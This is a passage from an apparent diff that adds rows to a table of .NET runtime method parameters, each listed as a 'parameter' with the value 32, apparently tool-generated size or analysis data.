Parameter 2 of ReleaseSemaphore | parameter | 32 | +| Parameter 2 of ReliableEnterTimeout | parameter | 32 | +| Parameter 2 of Remove | parameter | 32 | +| Parameter 2 of RemoveRelativeSegments | parameter | 32 | +| Parameter 2 of ReplaceInPlaceAtChunk | parameter | 32 | +| Parameter 2 of ResolveToken | parameter | 32 | +| Parameter 2 of RunForThreadPoolUnsafe | parameter | 32 | +| Parameter 2 of RunInternal | parameter | 32 | +| Parameter 2 of SequenceCompareTo | parameter | 32 | +| Parameter 2 of ShiftLeft | parameter | 32 | +| Parameter 2 of SnapForObservation | parameter | 32 | +| Parameter 2 of SplitName | parameter | 32 | +| Parameter 2 of SubtractDivisor | parameter | 32 | +| Parameter 2 of TZif_ParseJulianDay | parameter | 32 | +| Parameter 2 of TZif_ParseMDateRule | parameter | 32 | +| Parameter 2 of TZif_ParsePosixDateTime | parameter | 32 | +| Parameter 2 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 2 of TZif_ParseRaw | parameter | 32 | +| Parameter 2 of TimeToLunar | parameter | 32 | +| Parameter 2 of ToUtf16 | parameter | 32 | +| Parameter 2 of Tokenize | parameter | 32 | +| Parameter 2 of TryAddTicks | parameter | 32 | +| Parameter 2 of TryAdjustYear | parameter | 32 | +| Parameter 2 of TryCopyTo | parameter | 32 | +| Parameter 2 of TryCreate | parameter | 32 | +| Parameter 2 of TryDecodeFromUtf16 | parameter | 32 | +| Parameter 2 of TryDequeueSlow | parameter | 32 | +| Parameter 2 of TryDigitGenShortest | parameter | 32 | +| Parameter 2 of TryDrainRemainingDataForGetBytes | parameter | 32 | +| Parameter 2 of TryDrainRemainingDataForGetChars | parameter | 32 | +| Parameter 2 of TryEncodeToUtf8 | parameter | 32 | +| Parameter 2 of TryEncodeToUtf16 | parameter | 32 | +| Parameter 2 of TryEnter | parameter | 32 | +| Parameter 2 of TryFormat | parameter | 32 | +| Parameter 2 of TryFormatDateTimeL | parameter | 32 | +| Parameter 2 of TryFormatDateTimeR | parameter | 32 | +| Parameter 2 of TryFormatDecimalE | parameter | 32 | +| Parameter 2 of TryFormatDecimalF | parameter | 32 | +| Parameter 2 of TryFormatDecimalG | parameter | 32 | +| Parameter 2 of TryFormatFloatingPoint | parameter | 32 | +| Parameter 2 of TryFormatInt32MultipleDigits | parameter | 32 | +| Parameter 2 of TryFormatInt64Default | parameter | 32 | +| Parameter 2 of TryFormatInt64LessThanNegativeBillionMaxUInt | parameter | 32 | +| Parameter 2 of TryFormatInt64MoreThanNegativeBillionMaxUInt | parameter | 32 | +| Parameter 2 of TryFormatInt64MultipleDigits | parameter | 32 | +| Parameter 2 of TryFormatUInt32MultipleDigits | parameter | 32 | +| Parameter 2 of TryFormatUInt32SingleDigit | parameter | 32 | +| Parameter 2 of TryFormatUInt64 | parameter | 32 | +| Parameter 2 of TryFormatUInt64Default | parameter | 32 | +| Parameter 2 of TryFormatUInt64LessThanBillionMaxUInt | parameter | 32 | +| Parameter 2 of TryFormatUInt64MoreThanBillionMaxUInt | parameter | 32 | +| Parameter 2 of TryFormatUInt64MultipleDigits | parameter | 32 | +| Parameter 2 of TryFromBase64Chars | parameter | 32 | +| Parameter 2 of TryFromBase64String | parameter | 32 | +| Parameter 2 of TryGetByteCount | parameter | 32 | +| Parameter 2 of TryGetEntry | parameter | 32 | +| Parameter 2 of TryGetExport | parameter | 32 | +| Parameter 2 of TryGetHomeDirectoryFromPasswd | parameter | 32 | +| Parameter 2 of TryGetMemoryManager | parameter | 32 | +| Parameter 2 of TryGetRawMetadata | parameter | 32 | +| Parameter 2 of TryGetRuneAt | parameter | 32 | +| Parameter 2 of TryGetString | parameter | 32 | +| Parameter 2 of TryGetTimeZone | parameter | 32 | +| Parameter 2 of TryGetTimeZoneFromLocalMachine | parameter | 32 | +| Parameter 2 of TryGetUserNameFromPasswd | parameter | 32 | +| Parameter 2 of TryGetValue | parameter | 32 | +| Parameter 2 of TryGetValueWorker | parameter | 32 | +| Parameter 2 of TryLoadTzFile | parameter | 32 | +| Parameter 2 of TryParse | parameter | 32 | +| Parameter 2 of TryParseByteD | parameter | 32 | +| Parameter 2 of TryParseByteN | parameter | 32 | +| Parameter 2 of TryParseByteX | parameter | 32 | +| Parameter 2 of TryParseDateTimeG | parameter | 32 | +| Parameter 2 of TryParseDateTimeOffsetDefault | parameter | 32 | +| Parameter 2 of TryParseDateTimeOffsetO | parameter | 32 | +| Parameter 2 of TryParseDateTimeOffsetR | parameter | 32 | +| Parameter 2 of TryParseExact | parameter | 32 | +| Parameter 2 of TryParseGuidN | parameter | 32 | +| Parameter 2 of TryParseHebrewNumber | parameter | 32 | +| Parameter 2 of TryParseHex | parameter | 32 | +| Parameter 2 of TryParseInt16D | parameter | 32 | +| Parameter 2 of TryParseInt16N | parameter | 32 | +| Parameter 2 of TryParseInt32D | parameter | 32 | +| Parameter 2 of TryParseInt32N | parameter | 32 | +| Parameter 2 of TryParseInt64D | parameter | 32 | +| Parameter 2 of TryParseInt64N | parameter | 32 | +| Parameter 2 of TryParseNormalAsFloatingPoint | parameter | 32 | +| Parameter 2 of TryParseNumber | parameter | 32 | +| Parameter 2 of TryParseSByteD | parameter | 32 | +| Parameter 2 of TryParseSByteN | parameter | 32 | +| Parameter 2 of TryParseTimeSpanBigG | parameter | 32 | +| Parameter 2 of TryParseTimeSpanC | parameter | 32 | +| Parameter 2 of TryParseTimeSpanFraction | parameter | 32 | +| Parameter 2 of TryParseTimeSpanLittleG | parameter | 32 | +| Parameter 2 of TryParseUInt16D | parameter | 32 | +| Parameter 2 of TryParseUInt16N | parameter | 32 | +| Parameter 2 of TryParseUInt16X | parameter | 32 | +| Parameter 2 of TryParseUInt32D | parameter | 32 | +| Parameter 2 of TryParseUInt32HexNumberStyle | parameter | 32 | +| Parameter 2 of TryParseUInt32N | parameter | 32 | +| Parameter 2 of TryParseUInt32X | parameter | 32 | +| Parameter 2 of TryParseUInt64D | parameter | 32 | +| Parameter 2 of TryParseUInt64HexNumberStyle | parameter | 32 | +| Parameter 2 of TryParseUInt64N | parameter | 32 | +| Parameter 2 of TryParseUInt64X | parameter | 32 | +| Parameter 2 of TryRunDouble | parameter | 32 | +| Parameter 2 of TryRunShortest | parameter | 32 | +| Parameter 2 of TryRunSingle | parameter | 32 | +| Parameter 2 of TryStringToNumber | parameter | 32 | +| Parameter 2 of TryToBase64Chars | parameter | 32 | +| Parameter 2 of UInt64x64To128 | parameter | 32 | +| Parameter 2 of Unscale | parameter | 32 | +| Parameter 2 of WaitOnEvent | parameter | 32 | +| Parameter 2 of Widen | parameter | 32 | +| Parameter 2 of Write | parameter | 32 | +| Parameter 2 of WriteEventRaw | parameter | 32 | +| Parameter 2 of WriteImpl | parameter | 32 | +| Parameter 2 of WriteMultiMerge | parameter | 32 | +| Parameter 2 of WriteMultiMergeInner | parameter | 32 | +| Parameter 2 of WriteToAllListeners | parameter | 32 | +| Parameter 2 of WriteToBuffer | parameter | 32 | +| Parameter 2 of YearMonthAdjustment | parameter | 32 | +| Parameter 2 of _GetClassLayout | parameter | 32 | +| Parameter 2 of _GetCustomAttributeProps | parameter | 32 | +| Parameter 2 of _GetDefaultValue | parameter | 32 | +| Parameter 2 of _GetFieldDefProps | parameter | 32 | +| Parameter 2 of _GetFieldMarshal | parameter | 32 | +| Parameter 2 of _GetGenericParamProps | parameter | 32 | +| Parameter 2 of _GetMarshalAs | parameter | 32 | +| Parameter 2 of _GetMemberRefProps | parameter | 32 | +| Parameter 2 of _GetPInvokeMap | parameter | 32 | +| Parameter 2 of _GetParamDefProps | parameter | 32 | +| Parameter 2 of _GetParentToken | parameter | 32 | +| Parameter 2 of _GetSigOfFieldDef | parameter | 32 | +| Parameter 2 of _GetSigOfMethodDef | parameter | 32 | +| Parameter 2 of _GetSignatureFromToken | parameter | 32 | +| Parameter 2 of _LoadObjectV2 | parameter | 32 | +| Parameter 2 of _ParseAttributeUsageAttribute | parameter | 32 | +| Parameter 2 of ctor>g__TryConvertFromInvariantString\|2_0 | parameter | 32 | +| Parameter 3 of .ctor | parameter | 32 | +| Parameter 3 of <GetSessions>b__39_0 | parameter | 32 | +| Parameter 3 of <TryGetCursorPosition>g__AppendToStdInReaderUntil\|86_1 | parameter | 32 | +| Parameter 3 of <TryGetCursorPosition>g__BufferUntil\|86_0 | parameter | 32 | +| Parameter 3 of AccumulateDecimalDigitsIntoBigInteger | parameter | 32 | +| Parameter 3 of AddressOfMember | parameter | 32 | +| Parameter 3 of AtomicStateUpdate | parameter | 32 | +| Parameter 3 of BeginInvoke | parameter | 32 | +| Parameter 3 of BindToMethod | parameter | 32 | +| Parameter 3 of BindToObject | parameter | 32 | +| Parameter 3 of BindToStorage | parameter | 32 | +| Parameter 3 of BindType | parameter | 32 | +| Parameter 3 of CheckNewValue | parameter | 32 | +| Parameter 3 of CompareExchange | parameter | 32 | +| Parameter 3 of ComposeWith | parameter | 32 | +| Parameter 3 of ContinueTryEnterWithThreadTracking | parameter | 32 | +| Parameter 3 of ConvertGregorianToHijri | parameter | 32 | +| Parameter 3 of ConvertHijriToGregorian | parameter | 32 | +| Parameter 3 of ConvertToNative | parameter | 32 | +| Parameter 3 of CopyToTempBufferWithoutWhiteSpace | parameter | 32 | +| Parameter 3 of CreateCaObject | parameter | 32 | +| Parameter 3 of CreateInstance | parameter | 32 | +| Parameter 3 of CreateMutexCore | parameter | 32 | +| Parameter 3 of DecodeFirstRune | parameter | 32 | +| Parameter 3 of DecodeObject | parameter | 32 | +| Parameter 3 of Deconstruct | parameter | 32 | +| Parameter 3 of DefineDynamicModuleInternal | parameter | 32 | +| Parameter 3 of DefineDynamicModuleInternalNoLock | parameter | 32 | +| Parameter 3 of DivByConst | parameter | 32 | +| Parameter 3 of DivRem | parameter | 32 | +| Parameter 3 of DoAnsiConversion | parameter | 32 | +| Parameter 3 of Dragon4Double | parameter | 32 | +| Parameter 3 of Dragon4Single | parameter | 32 | +| Parameter 3 of DrainLeftoverDataForGetChars | parameter | 32 | +| Parameter 3 of EncodeObject | parameter | 32 | +| Parameter 3 of EncodeRune | parameter | 32 | +| Parameter 3 of EndInvoke | parameter | 32 | +| Parameter 3 of Enum | parameter | 32 | +| Parameter 3 of EnumCalendarInfo | parameter | 32 | +| Parameter 3 of EnumDatePatterns | parameter | 32 | +| Parameter 3 of EnumEraNames | parameter | 32 | +| Parameter 3 of EnumMonthNames | parameter | 32 | +| Parameter 3 of ExpandPredefinedFormat | parameter | 32 | +| Parameter 3 of FilterHelper | parameter | 32 | +| Parameter 3 of FromUtf16 | parameter | 32 | +| Parameter 3 of GetAdjustmentRuleForTime | parameter | 32 | +| Parameter 3 of GetBoundaries | parameter | 32 | +| Parameter 3 of GetCalendarInfo | parameter | 32 | +| Parameter 3 of GetClassLayout | parameter | 32 | +| Parameter 3 of GetCodeInfo | parameter | 32 | +| Parameter 3 of GetControlCharacters | parameter | 32 | +| Parameter 3 of GetCurrentTextElementLen | parameter | 32 | +| Parameter 3 of GetCustomAttributeProps | parameter | 32 | +| Parameter 3 of GetDataFromController | parameter | 32 | +| Parameter 3 of GetDatePart | parameter | 32 | +| Parameter 3 of GetDefaultValue | parameter | 32 | +| Parameter 3 of GetDisplayName | parameter | 32 | +| Parameter 3 of GetDocumentation | parameter | 32 | +| Parameter 3 of GetDocumentation2 | parameter | 32 | +| Parameter 3 of GetDynamicOrStaticVariables | parameter | 32 | +| Parameter 3 of GetEventProps | parameter | 32 | +| Parameter 3 of GetFieldOffset | parameter | 32 | +| Parameter 3 of GetFloatingPointMaxDigitsAndPrecision | parameter | 32 | +| Parameter 3 of GetFuncCustData | parameter | 32 | +| Parameter 3 of GetFuncIndexOfMemId | parameter | 32 | +| Parameter 3 of GetImplTypeCustData | parameter | 32 | +| Parameter 3 of GetJapaneseEraStartDate | parameter | 32 | +| Parameter 3 of GetKeyFromCharValue | parameter | 32 | +| Parameter 3 of GetLocaleInfoGroupingSizes | parameter | 32 | +| Parameter 3 of GetMarshalAs | parameter | 32 | +| Parameter 3 of GetMemoryInfo | parameter | 32 | +| Parameter 3 of GetMetadata | parameter | 32 | +| Parameter 3 of GetPInvokeMap | parameter | 32 | +| Parameter 3 of GetParamCustData | parameter | 32 | +| Parameter 3 of GetParamDefProps | parameter | 32 | +| Parameter 3 of GetParameters | parameter | 32 | +| Parameter 3 of GetPointerToFirstInvalidByte | parameter | 32 | +| Parameter 3 of GetPointerToFirstInvalidChar | parameter | 32 | +| Parameter 3 of GetPropertyOrFieldData | parameter | 32 | +| Parameter 3 of GetPropertyProps | parameter | 32 | +| Parameter 3 of GetRawArrayGeometry | parameter | 32 | +| Parameter 3 of GetResourceData | parameter | 32 | +| Parameter 3 of GetSeparatorToken | parameter | 32 | +| Parameter 3 of GetTimeOfLastChange | parameter | 32 | +| Parameter 3 of GetType | parameter | 32 | +| Parameter 3 of GetTypeByName | parameter | 32 | +| Parameter 3 of GetUtcOffsetFromUtc | parameter | 32 | +| Parameter 3 of GetVarCustData | parameter | 32 | +| Parameter 3 of GetVersion | parameter | 32 | +| Parameter 3 of InitHash | parameter | 32 | +| Parameter 3 of Initialize | parameter | 32 | +| Parameter 3 of InternalFallback | parameter | 32 | +| Parameter 3 of Invoke | parameter | 32 | +| Parameter 3 of Lex | parameter | 32 | +| Parameter 3 of MakeRoom | parameter | 32 | +| Parameter 3 of MakeSeparatorList | parameter | 32 | +| Parameter 3 of MapBufferToConsoleKey | parameter | 32 | +| Parameter 3 of MatchSpecifiedWords | parameter | 32 | +| Parameter 3 of Parse | parameter | 32 | +| Parameter 3 of ParseAttributeArguments | parameter | 32 | +| Parameter 3 of ParseAttributeUsageAttribute | parameter | 32 | +| Parameter 3 of ParseComponent | parameter | 32 | +| Parameter 3 of ParseDigits | parameter | 32 | +| Parameter 3 of ParseExactDigits | parameter | 32 | +| Parameter 3 of ParseISO8601 | parameter | 32 | +| Parameter 3 of ParseInt | parameter | 32 | +| Parameter 3 of Poll | parameter | 32 | +| Parameter 3 of PopulateLiteralFields | parameter | 32 | +| Parameter 3 of PopulateRtFields | parameter | 32 | +| Parameter 3 of ProcessHebrewTerminalState | parameter | 32 | +| Parameter 3 of ProcessTerminalState | parameter | 32 | +| Parameter 3 of ReadAsyncInternal | parameter | 32 | +| Parameter 3 of ReadDirR | parameter | 32 | +| Parameter 3 of Reduce | parameter | 32 | +| Parameter 3 of Remove | parameter | 32 | +| Parameter 3 of ResolveAssembly | parameter | 32 | +| Parameter 3 of ResolveToken | parameter | 32 | +| Parameter 3 of RunCallback | parameter | 32 | +| Parameter 3 of ScanRepeatChar | parameter | 32 | +| Parameter 3 of SnapForObservation | parameter | 32 | +| Parameter 3 of StringToInt | parameter | 32 | +| Parameter 3 of StringToLong | parameter | 32 | +| Parameter 3 of TZif_ParseMDateRule | parameter | 32 | +| Parameter 3 of TZif_ParsePosixDateTime | parameter | 32 | +| Parameter 3 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 3 of TZif_ParseRaw | parameter | 32 | +| Parameter 3 of TimeToLunar | parameter | 32 | +| Parameter 3 of ToUtf16 | parameter | 32 | +| Parameter 3 of Tokenize | parameter | 32 | +| Parameter 3 of TryDecodeFromUtf16 | parameter | 32 | +| Parameter 3 of TryDequeueSlow | parameter | 32 | +| Parameter 3 of TryDigitGenCounted | parameter | 32 | +| Parameter 3 of TryDrainLeftoverDataForGetBytes | parameter | 32 | +| Parameter 3 of TryFormat | parameter | 32 | +| Parameter 3 of TryFormatDateTimeG | parameter | 32 | +| Parameter 3 of TryFormatDateTimeO | parameter | 32 | +| Parameter 3 of TryFormatInt64 | parameter | 32 | +| Parameter 3 of TryFormatInt64D | parameter | 32 | +| Parameter 3 of TryFormatInt64N | parameter | 32 | +| Parameter 3 of TryFormatO | parameter | 32 | +| Parameter 3 of TryFormatR | parameter | 32 | +| Parameter 3 of TryGetEntry | parameter | 32 | +| Parameter 3 of TryGetMemoryManager | parameter | 32 | +| Parameter 3 of TryGetSpecialConsoleKey | parameter | 32 | +| Parameter 3 of TryGetString | parameter | 32 | +| Parameter 3 of TryGetTimeZone | parameter | 32 | +| Parameter 3 of TryGetTimeZoneFromLocalMachine | parameter | 32 | +| Parameter 3 of TryInternalFallbackGetBytes | parameter | 32 | +| Parameter 3 of TryJoin | parameter | 32 | +| Parameter 3 of TryLoad | parameter | 32 | +| Parameter 3 of TryParse | parameter | 32 | +| Parameter 3 of TryParseByFormat | parameter | 32 | +| Parameter 3 of TryParseComponent | parameter | 32 | +| Parameter 3 of TryParseDateTimeG | parameter | 32 | +| Parameter 3 of TryParseDateTimeOffsetO | parameter | 32 | +| Parameter 3 of TryParseDateTimeOffsetR | parameter | 32 | +| Parameter 3 of TryParseDecimal | parameter | 32 | +| Parameter 3 of TryParseDouble | parameter | 32 | +| Parameter 3 of TryParseExact | parameter | 32 | +| Parameter 3 of TryParseInt32 | parameter | 32 | +| Parameter 3 of TryParseInt32IntegerStyle | parameter | 32 | +| Parameter 3 of TryParseInt32Number | parameter | 32 | +| Parameter 3 of TryParseInt64 | parameter | 32 | +| Parameter 3 of TryParseInt64IntegerStyle | parameter | 32 | +| Parameter 3 of TryParseInt64Number | parameter | 32 | +| Parameter 3 of TryParseNumber | parameter | 32 | +| Parameter 3 of TryParseQuoteString | parameter | 32 | +| Parameter 3 of TryParseSingle | parameter | 32 | +| Parameter 3 of TryParseTimeSpan | parameter | 32 | +| Parameter 3 of TryParseUInt32 | parameter | 32 | +| Parameter 3 of TryParseUInt32IntegerStyle | parameter | 32 | +| Parameter 3 of TryParseUInt32Number | parameter | 32 | +| Parameter 3 of TryParseUInt64 | parameter | 32 | +| Parameter 3 of TryParseUInt64IntegerStyle | parameter | 32 | +| Parameter 3 of TryParseUInt64Number | parameter | 32 | +| Parameter 3 of TryRunCounted | parameter | 32 | +| Parameter 3 of TrySplitTimeSpan | parameter | 32 | +| Parameter 3 of TryUInt32ToDecStr | parameter | 32 | +| Parameter 3 of TryUInt64ToDecStr | parameter | 32 | +| Parameter 3 of UpdateDescriptor | parameter | 32 | +| Parameter 3 of ValidateTimeZoneInfo | parameter | 32 | +| Parameter 3 of Write | parameter | 32 | +| Parameter 3 of WriteFile | parameter | 32 | +| Parameter 3 of _Enum | parameter | 32 | +| Parameter 3 of _GetClassLayout | parameter | 32 | +| Parameter 3 of _GetCustomAttributeProps | parameter | 32 | +| Parameter 3 of _GetDefaultValue | parameter | 32 | +| Parameter 3 of _GetEventProps | parameter | 32 | +| Parameter 3 of _GetFieldOffset | parameter | 32 | +| Parameter 3 of _GetMarshalAs | parameter | 32 | +| Parameter 3 of _GetParamDefProps | parameter | 32 | +| Parameter 3 of _GetPropertyOrFieldData | parameter | 32 | +| Parameter 3 of _GetPropertyProps | parameter | 32 | +| Parameter 3 of _GetUserString | parameter | 32 | +| Parameter 3 of _ParseAttributeUsageAttribute | parameter | 32 | +| Parameter 3 of nLoad | parameter | 32 | +| Parameter 4 of .ctor | parameter | 32 | +| Parameter 4 of <TryGetCursorPosition>g__AppendToStdInReaderUntil\|86_1 | parameter | 32 | +| Parameter 4 of <TryGetCursorPosition>g__BufferUntil\|86_0 | parameter | 32 | +| Parameter 4 of <TryGetCursorPosition>g__ReadRowOrCol\|86_2 | parameter | 32 | +| Parameter 4 of AssignAssociates | parameter | 32 | +| Parameter 4 of BeginInvoke | parameter | 32 | +| Parameter 4 of Bind | parameter | 32 | +| Parameter 4 of BindToObject | parameter | 32 | +| Parameter 4 of BindToStorage | parameter | 32 | +| Parameter 4 of BindType | parameter | 32 | +| Parameter 4 of CallStringMethod | parameter | 32 | +| Parameter 4 of Convert | parameter | 32 | +| Parameter 4 of ConvertHijriToGregorian | parameter | 32 | +| Parameter 4 of CreateEventCore | parameter | 32 | +| Parameter 4 of CreateInstance | parameter | 32 | +| Parameter 4 of CreateSemaphoreCore | parameter | 32 | +| Parameter 4 of Deconstruct | parameter | 32 | +| Parameter 4 of DoStrictParse | parameter | 32 | +| Parameter 4 of EndInvoke | parameter | 32 | +| Parameter 4 of EnumMonthNames | parameter | 32 | +| Parameter 4 of EscapeString | parameter | 32 | +| Parameter 4 of EvaluateInternal | parameter | 32 | +| Parameter 4 of EventRegister | parameter | 32 | +| Parameter 4 of FilterHelper | parameter | 32 | +| Parameter 4 of GetByteCountFast | parameter | 32 | +| Parameter 4 of GetCharCountFast | parameter | 32 | +| Parameter 4 of GetCurrentTextElementLen | parameter | 32 | +| Parameter 4 of GetDataFromController | parameter | 32 | +| Parameter 4 of GetDefaultValue | parameter | 32 | +| Parameter 4 of GetDocumentation | parameter | 32 | +| Parameter 4 of GetDocumentation2 | parameter | 32 | +| Parameter 4 of GetMarshalAs | parameter | 32 | +| Parameter 4 of GetMemoryInfo | parameter | 32 | +| Parameter 4 of GetMetadata | parameter | 32 | +| Parameter 4 of GetNames | parameter | 32 | +| Parameter 4 of GetPInvokeMap | parameter | 32 | +| Parameter 4 of GetParamCustData | parameter | 32 | +| Parameter 4 of GetPropertyOrFieldData | parameter | 32 | +| Parameter 4 of GetPropertyProps | parameter | 32 | +| Parameter 4 of GetRawArrayGeometry | parameter | 32 | +| Parameter 4 of GetValue | parameter | 32 | +| Parameter 4 of GetVersion | parameter | 32 | +| Parameter 4 of GregorianToLunar | parameter | 32 | +| Parameter 4 of InitHash | parameter | 32 | +| Parameter 4 of Invoke | parameter | 32 | +| Parameter 4 of Lex | parameter | 32 | +| Parameter 4 of LunarToGregorian | parameter | 32 | +| Parameter 4 of MakeRoom | parameter | 32 | +| Parameter 4 of MapBufferToConsoleKey | parameter | 32 | +| Parameter 4 of OnStart | parameter | 32 | +| Parameter 4 of OnStop | parameter | 32 | +| Parameter 4 of ParseByFormat | parameter | 32 | +| Parameter 4 of ParseDisplayName | parameter | 32 | +| Parameter 4 of ParseExact | parameter | 32 | +| Parameter 4 of ParseExactDigits | parameter | 32 | +| Parameter 4 of ParseExactMultiple | parameter | 32 | +| Parameter 4 of PopulateEvents | parameter | 32 | +| Parameter 4 of ProcessHebrewTerminalState | parameter | 32 | +| Parameter 4 of ProcessTerminalState | parameter | 32 | +| Parameter 4 of Reduce | parameter | 32 | +| Parameter 4 of Remove | parameter | 32 | +| Parameter 4 of ResolveToken | parameter | 32 | +| Parameter 4 of SnapForObservation | parameter | 32 | +| Parameter 4 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 4 of TZif_ParseRaw | parameter | 32 | +| Parameter 4 of TimeToLunar | parameter | 32 | +| Parameter 4 of Tokenize | parameter | 32 | +| Parameter 4 of TranscodeToUtf8 | parameter | 32 | +| Parameter 4 of TranscodeToUtf16 | parameter | 32 | +| Parameter 4 of TryCreateDateTimeOffset | parameter | 32 | +| Parameter 4 of TryDigitGenCounted | parameter | 32 | +| Parameter 4 of TryDigitGenShortest | parameter | 32 | +| Parameter 4 of TryDrainLeftoverDataForGetBytes | parameter | 32 | +| Parameter 4 of TryFormatDecimal | parameter | 32 | +| Parameter 4 of TryFormatDouble | parameter | 32 | +| Parameter 4 of TryFormatInt32 | parameter | 32 | +| Parameter 4 of TryFormatInt64 | parameter | 32 | +| Parameter 4 of TryFormatSingle | parameter | 32 | +| Parameter 4 of TryFormatStandard | parameter | 32 | +| Parameter 4 of TryFormatUInt32 | parameter | 32 | +| Parameter 4 of TryFormatUInt64 | parameter | 32 | +| Parameter 4 of TryFormatUInt64D | parameter | 32 | +| Parameter 4 of TryFormatUInt64N | parameter | 32 | +| Parameter 4 of TryFormatUInt64X | parameter | 32 | +| Parameter 4 of TryGetSpecialConsoleKey | parameter | 32 | +| Parameter 4 of TryInt32ToHexStr | parameter | 32 | +| Parameter 4 of TryInt64ToHexStr | parameter | 32 | +| Parameter 4 of TryInternalFallbackGetBytes | parameter | 32 | +| Parameter 4 of TryInternalFallbackGetChars | parameter | 32 | +| Parameter 4 of TryJoin | parameter | 32 | +| Parameter 4 of TryNegativeInt32ToDecStr | parameter | 32 | +| Parameter 4 of TryNegativeInt64ToDecStr | parameter | 32 | +| Parameter 4 of TryParse | parameter | 32 | +| Parameter 4 of TryParseAsSpecialFloatingPoint | parameter | 32 | +| Parameter 4 of TryParseExact | parameter | 32 | +| Parameter 4 of TryParseExactMultiple | parameter | 32 | +| Parameter 4 of TryParseExactMultipleTimeSpan | parameter | 32 | +| Parameter 4 of TryParseExactTimeSpan | parameter | 32 | +| Parameter 4 of TryParseGuidCore | parameter | 32 | +| Parameter 4 of TryParseNumber | parameter | 32 | +| Parameter 4 of TryRunCounted | parameter | 32 | +| Parameter 4 of TryRunShortest | parameter | 32 | +| Parameter 4 of TrySZBinarySearch | parameter | 32 | +| Parameter 4 of TrySZIndexOf | parameter | 32 | +| Parameter 4 of TrySZLastIndexOf | parameter | 32 | +| Parameter 4 of UpdateDescriptor | parameter | 32 | +| Parameter 4 of Write | parameter | 32 | +| Parameter 4 of _GetDefaultValue | parameter | 32 | +| Parameter 4 of _GetMarshalAs | parameter | 32 | +| Parameter 4 of _GetPropertyOrFieldData | parameter | 32 | +| Parameter 4 of _GetPropertyProps | parameter | 32 | +| Parameter 4 of _ParseAttributeUsageAttribute | parameter | 32 | +| Parameter 5 of AssignAssociates | parameter | 32 | +| Parameter 5 of BeginInvoke | parameter | 32 | +| Parameter 5 of Bind | parameter | 32 | +| Parameter 5 of ConstructType | parameter | 32 | +| Parameter 5 of Convert | parameter | 32 | +| Parameter 5 of ConvertHijriToGregorian | parameter | 32 | +| Parameter 5 of CreateCaObject | parameter | 32 | +| Parameter 5 of CreateInstance | parameter | 32 | +| Parameter 5 of Deconstruct | parameter | 32 | +| Parameter 5 of EnsureDestinationSize | parameter | 32 | +| Parameter 5 of EvaluateInternal | parameter | 32 | +| Parameter 5 of FilterHelper | parameter | 32 | +| Parameter 5 of FindName | parameter | 32 | +| Parameter 5 of GetBytesFast | parameter | 32 | +| Parameter 5 of GetCharsFast | parameter | 32 | +| Parameter 5 of GetDataFromController | parameter | 32 | +| Parameter 5 of GetDocumentation | parameter | 32 | +| Parameter 5 of GetIsDaylightSavingsFromUtc | parameter | 32 | +| Parameter 5 of GetMarshalAs | parameter | 32 | +| Parameter 5 of GetMemoryInfo | parameter | 32 | +| Parameter 5 of GetPropertyOrFieldData | parameter | 32 | +| Parameter 5 of GetType | parameter | 32 | +| Parameter 5 of GregorianToLunar | parameter | 32 | +| Parameter 5 of Invoke | parameter | 32 | +| Parameter 5 of Lex | parameter | 32 | +| Parameter 5 of LunarToGregorian | parameter | 32 | +| Parameter 5 of MapBufferToConsoleKey | parameter | 32 | +| Parameter 5 of OnStart | parameter | 32 | +| Parameter 5 of ParseDisplayName | parameter | 32 | +| Parameter 5 of PopulateProperties | parameter | 32 | +| Parameter 5 of PopulateRtFields | parameter | 32 | +| Parameter 5 of ResolveType | parameter | 32 | +| Parameter 5 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 5 of TZif_ParseRaw | parameter | 32 | +| Parameter 5 of TranscodeToUtf8 | parameter | 32 | +| Parameter 5 of TranscodeToUtf16 | parameter | 32 | +| Parameter 5 of TryDigitGenShortest | parameter | 32 | +| Parameter 5 of TryParseAsSpecialFloatingPoint | parameter | 32 | +| Parameter 5 of TryParseByName | parameter | 32 | +| Parameter 5 of TryParseExact | parameter | 32 | +| Parameter 5 of TryParseExactMultiple | parameter | 32 | +| Parameter 5 of TryParseGuidCore | parameter | 32 | +| Parameter 5 of TryParseInt64Enum | parameter | 32 | +| Parameter 5 of TryParseRareEnum | parameter | 32 | +| Parameter 5 of TryParseUInt64Enum | parameter | 32 | +| Parameter 5 of TryRoundWeedCounted | parameter | 32 | +| Parameter 5 of TryRunShortest | parameter | 32 | +| Parameter 5 of Write | parameter | 32 | +| Parameter 5 of _GetMarshalAs | parameter | 32 | +| Parameter 5 of _GetPropertyOrFieldData | parameter | 32 | +| Parameter 6 of AssignAssociates | parameter | 32 | +| Parameter 6 of BeginInvoke | parameter | 32 | +| Parameter 6 of Bind | parameter | 32 | +| Parameter 6 of Convert | parameter | 32 | +| Parameter 6 of Deconstruct | parameter | 32 | +| Parameter 6 of FilterCustomAttributeRecord | parameter | 32 | +| Parameter 6 of GetMarshalAs | parameter | 32 | +| Parameter 6 of GetPropertyOrFieldData | parameter | 32 | +| Parameter 6 of GregorianToLunar | parameter | 32 | +| Parameter 6 of Invoke | parameter | 32 | +| Parameter 6 of LunarToGregorian | parameter | 32 | +| Parameter 6 of SetValue | parameter | 32 | +| Parameter 6 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 6 of TZif_ParseRaw | parameter | 32 | +| Parameter 6 of TryCreateTimeSpan | parameter | 32 | +| Parameter 6 of TryTimeToTicks | parameter | 32 | +| Parameter 6 of _GetMarshalAs | parameter | 32 | +| Parameter 6 of _GetPropertyOrFieldData | parameter | 32 | +| Parameter 7 of AssignAssociates | parameter | 32 | +| Parameter 7 of BindToMethod | parameter | 32 | +| Parameter 7 of Convert | parameter | 32 | +| Parameter 7 of Deconstruct | parameter | 32 | +| Parameter 7 of Dragon4 | parameter | 32 | +| Parameter 7 of FilterCustomAttributeRecord | parameter | 32 | +| Parameter 7 of GetMarshalAs | parameter | 32 | +| Parameter 7 of Invoke | parameter | 32 | +| Parameter 7 of TZif_ParsePosixFormat | parameter | 32 | +| Parameter 7 of TZif_ParseRaw | parameter | 32 | +| Parameter 7 of TryCreate | parameter | 32 | +| Parameter 7 of TryCreateDateTimeOffsetInterpretingDataAsLocalTime | parameter | 32 | +| Parameter 7 of TryParseUInt32Enum | parameter | 32 | +| Parameter 7 of _GetMarshalAs | parameter | 32 | +| Parameter 8 of AssignAssociates | parameter | 32 | +| Parameter 8 of Convert | parameter | 32 | +| Parameter 8 of CreateInstanceInternal | parameter | 32 | +| Parameter 8 of 